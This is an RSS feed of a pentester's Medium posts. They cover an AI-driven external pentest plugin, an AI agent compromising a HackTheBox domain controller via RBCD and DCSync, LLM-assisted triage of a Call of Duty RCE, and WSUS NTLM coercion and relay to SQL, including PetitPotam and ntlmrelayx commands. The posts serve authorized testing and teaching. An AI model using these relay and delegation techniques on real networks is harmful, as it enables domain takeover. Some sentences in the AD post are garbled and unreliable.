<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by coy0te on Medium]]></title>
        <description><![CDATA[Stories by coy0te on Medium]]></description>
        <link>https://medium.com/@coy0te?source=rss-7d8bd880addc------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*wxQRkbGH7VkTwMk4kQc4hw@2x.jpeg</url>
            <title>Stories by coy0te on Medium</title>
            <link>https://medium.com/@coy0te?source=rss-7d8bd880addc------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 23 Nov 2026 11:33:32 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@coy0te/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Building AI Hackbots — 2026 External Pentest Edition]]></title>
            <link>https://coy0te.medium.com/building-ai-hackbots-2026-external-pentest-addition-66f2b970fa9c?source=rss-7d8bd880addc------2</link>
            <guid isPermaLink="false">https://medium.com/p/66f2b970fa9c</guid>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[coy0te]]></dc:creator>
            <pubDate>Mon, 07 Sep 2026 23:02:20 GMT</pubDate>
            <atom:updated>2026-09-10T20:41:58.825Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*33Xa83d4ncwEtsPl" /><figcaption>Photo by <a href="https://unsplash.com/@jjying?utm_source=medium&amp;utm_medium=referral">JJ Ying</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>Last time I turned Claude Code loose on a HackTheBox domain controller and watched it walk from anonymous to Domain Admin in about half an hour using a community Active Directory plugin.</p><p>This post is to discuss a a plugin I built for External Penetration tests. It’s called <strong>claude-extpt</strong> (repo: <a href="https://github.com/xcoy0te/Claude-ExternalPentest">Claude-ExternalPentest</a>), and it’s mirrored on the same design as the AD plugin I used before: specialized sub-agents, skills loaded on demand, and a scope file the whole thing refuses to step outside of. This post is the introduction and a walkthrough of the flow.</p><h3>What we are actually building</h3><p>The idea is the same as before. Instead of running nmap, the ProjectDiscovery stack, testssl, nuclei, and ffuf by hand and holding the whole picture in your head, you give an agent the same toolchain and let it drive the methodology. It does passive OSINT, active recon, service and web enumeration, reasons about attack paths, and only when you approve is when exploitations occur.</p><p>The difference from the AD work is that and external test lives or dies on discipline. You cannot DoS the client. You cannot lock out accounts. You cannot wander off scope onto the upstream CDN or a shared tenant. So the plugin is built around a methodology rather than a single kill chain. It follows <strong>PTES</strong> end to end and maps the web portion to the <strong>OWASP Web Security Testing Guide (WSTG)</strong>. That’s not decoration, it’s what keeps an autonomous agent doing a <em>penetration test</em> instead of just spraying tools at an IP range.</p><p>Under the hood it ships:</p><p><strong>Four sub-agents</strong>, each with scoped tool access:</p><ul><li>ext-enumerator — passive OSINT → active discovery → web/TLS/DNS → services → cloud/takeover → nuclei. Read-only.</li><li>ext-attack-planner — correlates the inventory into ranked, CVSS-scored footholds. Plans only, never executes.</li><li>ext-exploit-operator — runs exactly one approved step, confirms before anything intrusive.</li><li>ext-reporter — turns the artifacts into a severity-ranked client report. Read-only synthesis.</li></ul><p><strong>Eight skills</strong> loaded on demand. The PTES/WSTG methodology, passive OSINT, the active recon/enum command reference (the ProjectDiscovery workflow with safe defaults), the WSTG 12-category web checklist, safe service enumeration, subdomain takeover and exposed cloud storage, OPSEC/reporting, and a tooling preflight.</p><p>And the part that makes me comfortable running it: <strong>it is human-in-the-loop by design, with a default-deny scope. </strong>Every phase reads ./ext-engagement/scope.md first and validates every target against an explicit allowlist and denylist before it sends a packet. A host that matches neither list is out of scope by default. Recon is strictly non-destructive — nuclei runs in detection mode with dos,intrusive,fuzz,brute-force tags excluded, scans are rate-limited, and anything that sends a real payload, writes to an app, or could lock an account stops and asks. Target-derived data — banners, page titles, cert fields, crawled links — is treated as data, never as instructions that could widen scope. That last one matters more than it sounds now that we&#39;re pointing agents at attacker-controlled output.</p><blockquote><em>⚠️ Same disclaimer as the tool itself: this is for </em><strong><em>authorized</em></strong><em> testing only. Everything below assumes you have written permission for every target. The walkthrough uses the repo’s fictional example host so I’m not leaking a real client — swap in your own scoped targets and sanitized output when you run it for real.</em></blockquote><h3>The flow</h3><p>Five commands, one per phase:</p><pre>1. /ext-scope &lt;targets&gt;  -&gt; record in/out of scope, window, rate limits, forbidden actions<br>2. /ext-recon  -&gt; OSINT, discovery, web/TLS/DNS, services, nuclei. read-only<br>3. /ext-attack-paths  -&gt; correlate exposures into ranked footholds (CVSS). plan only<br>4. /ext-exploit  -&gt; one approved step at a time, confirms before anything intrusive<br>5. /ext-report  -&gt; severity-ranked findings + evidence + remediation</pre><p>1. Scope/ext-scope &lt;targets&gt;Record in/out of scope, window, rate limits, forbidden actions2. Recon + enum/ext-reconext-enumerator: OSINT → discovery → web/TLS/DNS → services → nuclei. Read-only3. Attack plan/ext-attack-pathsext-attack-planner: correlate exposures → ranked footholds (CVSS). Plan only4. Exploit/ext-exploitext-exploit-operator: one approved step, confirms before anything intrusive5. Report/ext-reportext-reporter: severity-ranked findings + evidence + remediation</p><p>Let’s walk it.</p><h3>Step 1 — Fresh box and Claude Code</h3><p>Start on a Kali or Parrot instance that already has the offensive toolchain. Install Claude Code if you haven’t:</p><pre>npm install -g @anthropic-ai/claude-code</pre><p>Make an engagement directory and launch:</p><pre>mkdir ~/extpt &amp;&amp; cd ~/extpt<br>claude</pre><p>First launch walks you through auth, and then you have an interactive agent in your terminal.</p><h3>Step 2 — Install the plugin</h3><pre>/plugin marketplace add https://github.com/xcoy0te/Claude-ExternalPentest<br>/plugin install claude-extpt</pre><p>No build step — it’s all Markdown plus a small JSON manifest, so you can read every agent and skill before you trust it, and edit anything you want. After install you’ll have the five /ext-* commands.</p><h3>Step 3 — Preflight the toolchain</h3><p>The agents drive external tools, so it’s worth letting the ext-tooling-setup skill check what&#39;s present. The stack it expects: nmap, the ProjectDiscovery suite (subfinder, dnsx, httpx, naabu, nuclei, katana), ffuf/feroxbuster, testssl, sslscan, whatweb, wafw00f, smbclient, enum4linux-ng, gowitness, subzy, amass, sqlmap, nikto, and <strong>SecLists</strong>. A current Kali has most of it; the plugin notes and substitutes what&#39;s missing instead of silently skipping.</p><h3>Step 4 — Define the scope</h3><p>This is the most important step and the one that keeps the whole thing authorized. Before the agent touches anything, you tell it exactly what it’s allowed to hit.</p><pre>/ext-scope 203.0.113.10 app.example.com</pre><p>It will ask for the things a real ROE needs: exact in-scope targets (and whether subdomains count or only the exact host), out-of-scope hosts and third-party/shared infrastructure, the testing window, permitted rate limits, forbidden actions (no DoS, no lockouts, no data exfil beyond proof), the objective, a stop/rollback contact, and the source IP the client should allowlist so your traffic is attributable. It does a light reachability ping only — no scanning here — and writes ./ext-engagement/scope.md with an explicit <strong>In scope (allowlist)</strong> and <strong>Out of scope (denylist)</strong>. Every later agent enforces that file. This is the difference between an agent and a liability.</p><h3>Step 5 — Recon and enumeration (read-only)</h3><pre>/ext-recon</pre><p>The ext-enumerator runs the whole map-before-you-exploit sweep, quietest first: passive OSINT (ASN/IP ranges, cert transparency, passive subdomains, DNS and email posture, leaked secrets), then active discovery (host discovery → ports → service/version → TLS), then the web surface (httpx/whatweb, security headers, throttled content discovery and crawl, screenshots with gowitness), then safe per-service enumeration, subdomain-takeover and exposed-bucket checks, and finally a rate-limited nuclei detection pass mapped to the tech it found.</p><p>Everything is throttled and non-destructive — nmap -T3, capped rates, nuclei with the dangerous tags excluded. It writes raw output under ./ext-engagement/recon/, captured data under loot/, and a structured inventory.md, then hands back a summary: live hosts, ports/services with versions, web apps and tech, TLS/DNS/email issues, takeover and cloud findings, and candidate CVEs with a confidence rating. The kinds of things it surfaces on a typical external: an exposed /actuator/health, a forgotten staging vhost, TLS 1.0 still enabled, a dangling CNAME pointing at a de-provisioned bucket.</p><p>![placeholder — recon summary output: host/service counts and flagged exposures]</p><h3>Step 6 — Let it reason about attack paths</h3><pre>/ext-attack-paths</pre><p>This is the part that feels like magic, same as it did on the AD side. The ext-attack-planner reads the inventory and correlates services, versions, web findings and cloud exposure against known vulns, default creds, misconfigurations and takeovers. For each candidate foothold it gives you the concrete vector (service+version → CVE, exposed panel, WSTG-mapped web vuln, subdomain takeover, open bucket, leaked secret), the exact check or exploit command, the prerequisites and what would break it (WAF, patched build, MFA), the blast radius, and a provisional CVSS. Then it ranks them — most reliable, quietest, highest impact — and recommends a single first move.</p><p>And crucially, <strong>it plans only. Nothing runs.</strong> On our example host that might rank a subdomain takeover on a dangling asset (High), default creds on an exposed admin panel (High, but needs an auth attempt → flagged for confirmation), and a known CVE on a VPN portal version (detection-only until approved). Each is marked for whether it needs operator sign-off before the exploit operator will touch it. It’ll also rule out techniques that don’t fit the environment rather than trying them blindly.</p><p>![placeholder — attack plan output: ranked footholds with CVSS and the recommended first move]</p><h3>Step 7 — Exploit one approved step at a time</h3><pre>/ext-exploit</pre><p>You pick a step from the plan and approve it. The ext-exploit-operator re-validates the target against the scope, states exactly what it&#39;s about to run and the expected effect, and — for anything intrusive or state-changing — waits for your explicit go-ahead. It prefers the least-intrusive proof of a finding: a benign PoC or a version confirmation over a weaponized exploit, unless the client authorized going deeper. It records the exact command, timestamp, target and result to loot/, then hands back. It does not chain into the next step on its own — you return to planning for the next move. You are never surprised by a write.</p><p>![placeholder — exploit operator confirming an action before running it]</p><h3>Step 8 — Report</h3><pre>/ext-report</pre><p>The ext-reporter synthesizes everything already collected — it does not re-scan or exploit. You get ./ext-engagement/report.md (and a self-contained, print-to-PDF-ready report.html on request) with an executive summary, scope and authorization, methodology, severity-ranked findings (each with CVSS, affected asset, evidence, reproduction, business impact and remediation), detection notes for the blue team, a remediation roadmap, an attack narrative, and a full command appendix. Every finding traces to a real artifact — it under-claims rather than inventing impact.</p><p>Secrets are handled the way they should be: recovered credentials go in a clearly marked SENSITIVE appendix by reference, report files with secrets get chmod 600, and nothing containing secrets is ever published to an external service. It hands over as a local file through the client&#39;s secure channel. It&#39;ll also produce variants — full, client-safe with secrets stripped, or an executive one-pager.</p><p>![placeholder — rendered HTML report with severity-color-coded finding cards]</p><h3>Where the efficiency actually comes from</h3><p>The honest pitch isn’t “the AI finds bugs you can’t.” It’s that the agent collapses the tedious 70% of an external test — the enumeration sprawl, the “did I check TLS on every host,” the copy-pasting nuclei output into notes, the writing-up — into something you supervise instead of type. On the AD box, the bulk of my time was reading output and clicking approve, not running commands. External is the same shape: the agent keeps the methodology consistent across every host so nothing gets skipped because you were tired on host number nineteen, and the reporter turns your loot folder into a defensible deliverable while you’re still thinking about the next foothold.</p><p>The guardrails are what make that trade acceptable on a paid engagement. Read-only recon, default-deny scope, no DoS, no lockouts, human confirmation before every intrusive action, attributable rate-limited traffic, and secrets that stay local. Those aren’t bolted on — every agent enforces them, and I can read the Markdown to prove it.</p><h3>Wrapping up</h3><p>We took the same design that walked a domain controller: scope it in writing, let it enumerate read-only, let it reason about paths, approve exploitation one step at a time, and let it write the report. Feel free to use the plugin located on GitHub, <a href="https://github.com/xcoy0te/Claude-ExternalPentest">xcoy0te/Claude-ExternalPentest</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=66f2b970fa9c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Building AI Hackbots to Solve CTFs — 2026 Active Directory Addition]]></title>
            <link>https://coy0te.medium.com/building-ai-hackbots-to-solve-ctfs-2026-active-directory-addition-6dbbb1ef0dde?source=rss-7d8bd880addc------2</link>
            <guid isPermaLink="false">https://medium.com/p/6dbbb1ef0dde</guid>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[htb]]></category>
            <dc:creator><![CDATA[coy0te]]></dc:creator>
            <pubDate>Thu, 27 Aug 2026 20:27:02 GMT</pubDate>
            <atom:updated>2026-09-10T19:59:56.521Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Building AI Hackbots to Solve CTFs — 2026 Active Directory Edition</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*JVa9Hhu_ydF_XGOp" /><figcaption>Photo by <a href="https://unsplash.com/@coopery?utm_source=medium&amp;utm_medium=referral">Mohamed Nohassi</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><h3>What we are actually building:</h3><p>The idea is simple. Instead of running netexec, impacket, certipy, and BloodHound by hand and stitching the results together in your head, we give an AI agent the same tools and let it drive. The agent enumerates the domain, reasons about attack paths, and executes them.</p><p>We are using Claude Code as the agent runtime and a community plugin called Claude-AD that turns it into a structured Active Directory pentest assistant (<a href="https://github.com/ADScanPro/Claude-AD">Shoutout ADScan</a>). The plugin ships specialized sub-agents (an enumerator, an attack planner, and an exploit operator) plus a set of skills covering Kerberos attacks, ADCS, ACL abuse, and coercion/relay. The key design decision, and the reason I trust running it, is that it is human-in-the-loop: it will happily read the whole directory on its own, but it stops and asks before it writes anything.</p><p>Our test target was the HackTheBox machine “<em>Support</em>” a Windows Server 2022 domain controller. Start to finish, from an anonymous unauthenticated position to Domain Admin and both flags, the agent did roughly 30 minutes of active work. The bulk of my time was spent reading its output and clicking approve, not typing commands. End to end, including the human approval gates, it was well under an hour.</p><p>Step 1: Start with a fresh Kali instance</p><pre>sudo apt update &amp;&amp; sudo apt full-upgrade -y</pre><p>Step 2: Install Claude Code</p><pre>npm install -g @anthropic-ai/claude-code</pre><p>Step 3: Create a working directory you will use for the engagement:</p><pre>mkdir ~/ad &amp;&amp; cd ~/ad<br>claude</pre><p>On first launch it walks you through authentication. Once you are in, you have an interactive agent sitting in your terminal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xLeiGHpQPmYOlk8qnrINJQ.png" /><figcaption>Successful claude code authentication.</figcaption></figure><p>Step 4: Connect to the HackTheBox VPN</p><p>Step 5: Install the Claude-AD plugin:</p><pre>/plugin marketplace add ADScanPro/Claude-AD<br>/plugin install claude-ad@claude-ad</pre><p>After this you will have new commands available, including <strong>/ad-scope, /ad-recon, /ad-attack-paths</strong>, and the specialized sub-agents that do the heavy lifting.</p><p>Step 6: Define the scope. This is the most important step and the one that keeps the whole thing sane and authorized. Before the agent touches anything, you define exactly what is in scope. The plugin reads this scope file for every subsequent action.</p><pre>/ad-scope support.htb 10.129.230.181</pre><p>Step 7: Run reconnaissance. This phase is entirely read-only. The agent launches its enumerator sub-agent, which fingerprints the DC, checks SMB for anonymous acces RIDs to build a user list, queries LDAP, tries Kerberos user enumeration and AS-REP roasting, and, the moment it finds any valid credential, pivots into authenticated collection and pulls a full BloodHound graph.</p><pre>/ad-recon 10.129.230.181</pre><p>On the HTB machine, this is where the chain started. The DC allowed anonymous SMB, and one non-default share was readable with no login at all. Inside it was a small program that had a password baked into it. The agent pulled the file, reversed the trivial obfuscation offline, and recovered a first domain account, entirely through readiat account, it found a second account’s password sitting in cleartext in a directory attribute. Two credentials, zero attacks, all from enumeration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O-DOJtPWbqvB2cNKiCuWNQ.png" /><figcaption>The recon summary output. Counts of users, groups, shares, and the “credentials harvested”</figcaption></figure><p>Step 9: Let it plan the attack path with the graph collected. You can also ask the planner to “reason” about how to get from your foothold to Domain Admin:</p><pre>/ad-attack-paths 10.129.230.181</pre><p>This is the part that feels like magic. The planner reads the BloodHound graph and the inventory and works out the concrete chain. For this HTB machine, it found that the low-privilege account we had recovered was a member of a support group that held full control (a GenericAll right) over the domain controller’s own computer object. That is a direct path to owning the domain.</p><p>Crucially, the planner does not execute anything. It presents the path and waits for you to approve it. It even reasoned about which technique to use and rejected the ones that would not work in this environment. For example, it initially considered a Shadow Credentials attack, then correctly ruled it out because that technique needs a certificate authority and this domain did not have one. It pivoted to a Resource-Based Constrained Delegation (RBCD) path instead, which does not depend on a PKI.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5x9rmIm2xxT-QRWUBXXccQ.png" /><figcaption>The attack plan output showing the GenericAll-over-DC edge and the proposed chain.</figcaption></figure><p>Step 10: Approve exploitation. Every step that modifies the directory pauses for your explicit approval before it runs. You are never surprised by a write.</p><p>The approved attack chain was:</p><pre>add a computer account we control -&gt; grant that computer delegation rights on the DC using the full-control edge we already had -&gt; then use Kerberos S4U to mint a service ticket impersonating the Administrator -&gt; and finally run a DCSync to replicate the domain&#39;s password database. </pre><p>This attack path yielded the Administrator and krbtgt hashes, which is game for the domain. Two things I want to highlight from this phase. First, it cleaned up after itself. Both directory changes, the computer account and the delegation right, were reverted and verified afterward. The agent even caught a case where an earlier automated rollback had silently failed and cleaned up the leftover object properly.</p><p>Second, it did not fabricate results. At one point a step genuinely failed and, rather than pretending the real root cause, it corrected the plan, and asked before continuing. When a tool timed out on a latency artifact, it said so and proved the result another way instead of hand-waving.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sCUiqmlizV2XN-BrwK2yCg.png" /><figcaption>Full Domain Compromise.</figcaption></figure><h3>How long did it take:</h3><p>The active agent runtime across recon, planning, and exploitation was roughly 30 minutes.</p><h3>Wrapping up:</h3><p>We took a fresh Kali box, installed Claude Code, added a plugin that turns the agent into a structured AD pentest assistant, scoped it to a single authorized target, and watched it go from anonymous to Domain Admin on a Windows domain controller in about half an hour!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6dbbb1ef0dde" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Finding a 20-Year-Old Call of Duty RCE in an Evening With an LLM]]></title>
            <link>https://coy0te.medium.com/finding-a-20-year-old-call-of-duty-rce-in-an-evening-with-an-llm-5bb81626991d?source=rss-7d8bd880addc------2</link>
            <guid isPermaLink="false">https://medium.com/p/5bb81626991d</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[coy0te]]></dc:creator>
            <pubDate>Thu, 27 Aug 2026 14:36:42 GMT</pubDate>
            <atom:updated>2026-08-27T14:36:42.732Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*rQ3hnHUelt3aaOKA" /><figcaption>Photo by <a href="https://unsplash.com/@omilaev?utm_source=medium&amp;utm_medium=referral">Igor Omilaev</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>A memory-corruption bug in Call of Duty 1’s networking code, shipped in 2003, was still exploitable in 2026 — and the researcher who found it did the initial triage with an LLM in the space of an evening. That framing is worth sitting with, because it’s the part everyone latches onto (“AI found an RCE!”) and also the part that’s most misleading if you don’t look at what the model actually did versus what still required a human staring at a disassembler.</p><p>I want to reconstruct the <em>workflow</em> here rather than the specific offsets, because the source material — the r/netsec post pointing at the writeup — is a summary, and I’m not going to invent function addresses, struct layouts, or a CVE number that isn’t in front of me. What I can do usefully is lay out how LLM-assisted vulnerability research on legacy protocol code tends to go, mark clearly where the source confirms a detail and where it doesn’t, and give you a methodology you can actually repeat against your own targets.</p><h3>What the source actually says</h3><p>The writeup, posted by u/wez32, is titled “Pwning Call of Duty 1: a 20-year-old RCE, found in an evening with AI.” From the post itself we have three concrete claims: the target is Call of Duty 1 (a 2003 title built on a derivative of the Quake 3 / id Tech 3 engine), the vulnerability is a remote code execution bug, and the discovery-to-working-exploit loop happened in a single evening with AI assistance.</p><p>Everything past that — the exact parser, the corruption primitive, the exploitation chain — is not in the material I have. So I’m going to treat the specifics as unconfirmed and talk about the class of bug and the class of workflow, both of which are well understood for this engine lineage.</p><h3>Why id Tech 3 networking is a target-rich environment</h3><p>Games built on the Quake 3 engine family, which Call of Duty 1’s engine descends from, share a networking model that is genuinely hostile to memory safety. The server and client exchange delta-compressed snapshots and command strings over UDP. A lot of the protocol is text-ish: configstrings, userinfo blobs, and console commands get parsed out of network buffers into fixed-size stack and static buffers. The classic bug shape is a parser that reads an attacker-controlled length or an attacker-controlled string and copies it into a buffer sized for the “normal” case.</p><p>This matters for why an LLM is useful here. The vulnerable code is C, it’s parsing a semi-structured wire format, and the dangerous operations are named things a model has seen ten thousand times: strcpy, memcpy with a computed length, Q_strncpyz, sscanf into a stack array, MSG_ReadString into a fixed buffer. The engine source lineage is also partly public — id released Quake 3 source — so a model has strong priors about what these functions do and how they’re typically misused, even when it’s looking at a game that shipped as a closed binary.</p><p>That’s the leverage. You’re not asking the model to invent a novel bug class. You’re asking it to pattern-match a known-dangerous shape across a large, boring codebase faster than you’d read it yourself.</p><h3>Where the LLM earns its keep</h3><p>The honest version of “found in an evening with AI” is that the model compresses the triage phase. Concretely, the tasks that map well onto an LLM:</p><p>Reading decompiler output and giving it back to you in a form a human can reason about. Hex-Rays or Ghidra output for a network parser is a wall of v17, a2, and casts. Handing a function to a model and asking “what wire format does this parse, and where does attacker-controlled length meet a fixed buffer?” turns twenty minutes of manual renaming into a paragraph you can sanity-check.</p><p>Ranking candidate sinks. If you can dump every call to strcpy/memcpy/sscanf and the surrounding context, a model is good at triaging “which of these takes data that came off the socket without a bound.” That’s the difference between reading 300 functions and reading the 6 that matter.</p><p>Reconstructing the packet you need to reach a sink. Once you know a bug is in, say, the parsing of a connectionless out-of-band message, the model can help you assemble the \xff\xff\xff\xff-prefixed OOB packet shape that id Tech 3 uses for pre-connection commands, because that format is well-documented and consistent across the engine family.</p><p>None of that is the model “finding a bug” autonomously. It’s the model doing the reading and the bookkeeping so the human spends their attention on the two or three decisions that actually require judgment.</p><h3>Where the human still has to reverse</h3><p>The parts an LLM is bad at on this kind of target are exactly the parts where you can’t afford it to be confident and wrong.</p><p>Ground truth about the binary. The model can hypothesise that a buffer is 1024 bytes, but the actual stack layout, the actual struct offsets, and whether a bound check exists three call frames up are facts about <em>this</em> binary. You confirm those in a debugger, not a chat window. A model that “reasons” a buffer is unbounded when there’s a Q_strncpyzguarding it will send you down a dead end for an hour.</p><p>Exploitability versus crashability. Getting a crash is easy. Turning it into RCE means knowing what’s adjacent in memory, whether the target has stack cookies or ASLR (a 2003 binary running under a modern OS is an interesting mix — the binary may predate mitigations while the OS enforces DEP/ASLR), and finding the primitive that survives the copy. That’s iterative work in a debugger with a real target running.</p><p>Controlling the corruption. The gap between “I overflowed a buffer” and “I control RIP/EIP with a payload of my choosing” is where the evening’s real time goes. The model can suggest a ROP strategy in the abstract, but it cannot enumerate the gadgets present in <em>this</em> image or verify that your chain lands.</p><p>The realistic division of labour, then: the LLM found the <em>candidate</em> fast, and a human confirmed the bug and built the exploit. “Found in an evening” is plausible precisely because the triage — normally the slowest part on unfamiliar code — got cut down hard.</p><h3>A methodology you can reuse</h3><p>If you want to run this loop against your own legacy target:</p><pre>1. Get code into a readable form.<br>   - Ghidra/IDA export of the networking functions, or<br>   - public source for the engine lineage if it exists.<br>2. Enumerate sinks mechanically (grep / script), don&#39;t ask the LLM to find them.<br>   strcpy, strcat, sprintf, memcpy(len), sscanf, alloca(len), *ReadString<br>3. For each sink, ask the model one narrow question:<br>   &quot;Does the length/string copied here come from network input,<br>    and is it bounded before the copy? Cite the lines.&quot;<br>4. Take the top candidates into a debugger. Verify buffer sizes and<br>   guards against the actual binary. This is non-negotiable.<br>5. Build the trigger packet using the engine&#39;s known wire format<br>   (OOB \xff\xff\xff\xff prefix for connectionless commands on id Tech 3).<br>6. Do exploitation by hand: gadgets, mitigations, payload — in a debugger.</pre><p>The discipline that makes this work is step 4. Treat every LLM claim about the binary as a hypothesis with a confidence of zero until the debugger confirms it. The model’s value is throughput on reading, not authority on facts.</p><h3>Detection and mitigation</h3><p>For anyone running these servers — and community servers for 20-year-old shooters are still online — the mitigation story is unglamorous. This engine family has no auto-update, so patching means a community binary patch or nothing. Run the server as an unprivileged user in a container or a jail so an RCE gets you a sandboxed process, not the host. If the binary predates ASLR/DEP awareness, run it on an OS that enforces both at the loader level, which raises the cost of turning a memory-corruption bug into reliable code execution even on an old image.</p><p>On the detection side, id Tech 3 connectionless traffic is distinctive: UDP with the four 0xFF lead bytes followed by an ASCII command. Oversized OOB packets, or getstatus/connect/userinfo strings far longer than a legitimate client would send, are a cheap thing to alert on at the network layer. You don’t need to understand the specific bug to notice a userinfo blob that’s ten times normal length hitting the server port.</p><p>The broader takeaway isn’t “AI finds RCEs now.” It’s that the slow, attention-draining part of vuln research on unfamiliar code — reading it — is the part LLMs compress best, and the part where being wrong is cheapest to catch. The exploitation still lived in a debugger, where it always has.</p><h3>Sources</h3><ul><li><a href="https://www.reddit.com/r/netsec/comments/1vy5zqu/pwning_call_of_duty_1_a_20yearold_rce_found_in_an/">https://www.reddit.com/r/netsec/comments/1vy5zqu/pwning_call_of_duty_1_a_20yearold_rce_found_in_an/</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5bb81626991d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Coercing WSUS Computer Accounts to Own the Update Server Database]]></title>
            <link>https://coy0te.medium.com/coercing-wsus-computer-accounts-to-own-the-update-server-database-365b809f9852?source=rss-7d8bd880addc------2</link>
            <guid isPermaLink="false">https://medium.com/p/365b809f9852</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[coy0te]]></dc:creator>
            <pubDate>Thu, 13 Aug 2026 17:31:20 GMT</pubDate>
            <atom:updated>2026-08-13T17:32:59.245Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-J23NlqNJ2libKRG" /><figcaption>Photo by <a href="https://unsplash.com/@adigold1?utm_source=medium&amp;utm_medium=referral">Adi Goldstein</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>WSUS pushes signed content to every managed endpoint in the environment. If you own the mechanism that decides which files those endpoints download and execute, you own the endpoints. Beyviel David at SpecterOps found a path to that mechanism that hinges on a design choice most defenders never audit: whether the WSUS database lives on the WSUS server or on a separate SQL box.</p><p>This post walks through the coercion primitive and the stored-procedure chain that turns a SQL session on SUSDB into a targeted update-delivery capability. It’s grounded entirely in <a href="https://specterops.io/blog/2026/08/05/turning-enterprise-update-servers-into-backdoor-factories-part-1/">David’s Part 1 writeup</a>.</p><h3>The split-database design is the whole vulnerability</h3><p>WSUS has two required pieces. The upstream server runs the Windows Server Update Services role, exposes a web API on port 8530 by default, and is where admins approve updates and manage computer groups. Behind it sits a database — SUSDB — that holds UpdateIDs, client records, file metadata, and group membership.</p><p>That database can be configured two ways: a Windows Internal Database (WID) file on the WSUS server itself, or a standalone Microsoft SQL Server. The WID case gives you nothing to relay to across the network. The standalone SQL case is different. Now the WSUS server has to authenticate to a <em>remote</em> SQL server to do its job, and that authentication is the thing you can steal.</p><p>You can confirm a client’s WSUS assignment straight from the registry:</p><pre>C:\Users\domainadmin&gt;reg query HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate<br><br>WUServer         REG_SZ    http://10.2.10.3:8530<br>WUStatusServer   REG_SZ    http://10.2.10.3:8530<br>TargetGroupEnabled  REG_DWORD  0x1<br>TargetGroup      REG_SZ    Servers</pre><p>WUServer points you at the upstream server. From there you need to figure out where its database lives.</p><h3>Coercion and relay to SQL</h3><p>David first tried the obvious lateral-movement move: coerce the upstream WSUS server to authenticate to a downstream WSUS server over SMB, hoping the upstream had local admin on the downstream. He set up ntlmrelayxas an SMB listener that relays to the downstream server, then used PetitPotam to force the upstream WSUS machine account to authenticate to the attacker box. The relay landed, but the upstream account had no administrative rights on the downstream server. Dead end.</p><p>The productive target was the database. Same shape — coerce the upstream WSUS computer account, relay the authentication to the remote SQL server instead of another WSUS server:</p><pre># Listener relaying coerced auth to the WSUS SQL database<br>ntlmrelayx.py -t mssql://&lt;wsus-sql-server&gt; -smb2support<br># then coerce the WSUS server to authenticate to the attacker<br>PetitPotam.py &lt;attacker-ip&gt; &lt;wsus-server-ip&gt;</pre><p>This worked. The upstream WSUS computer account (WSUS1$ in David’s lab) had enough permission to establish an MSSQL session on the database server. This is the crux: the WSUS server <em>has</em> to be able to talk to SUSDB, so its machine account is a valid SQL principal. Coerce that account and relay it, and you inherit its database access without ever touching a credential.</p><p>The relay works because NTLM authentication doesn’t bind to the service you thought you were authenticating to. A coerced machine account will happily authenticate to your listener, and your listener forwards that authentication material to SQL. If SMB signing and channel binding aren’t enforced on the path, the relay completes.</p><h3>The permission model that shapes everything else</h3><p>A SQL session doesn’t mean free rein. Enumerating WSUS1$’s rights — David used <a href="https://github.com/SpecterOps/MSSQLHound">MSSQLHound</a> — shows the account belongs to the webService database role. That role has no SELECT, UPDATE, or DELETE on any SUSDB table. Trying to touch tables directly returns permission errors.</p><p>What webService <em>does</em> have is EXECUTE on stored procedures. So the attack isn’t “write rows into SUSDB.” It’s “call the exact procedures WSUS itself calls to publish and deploy an update, in the right 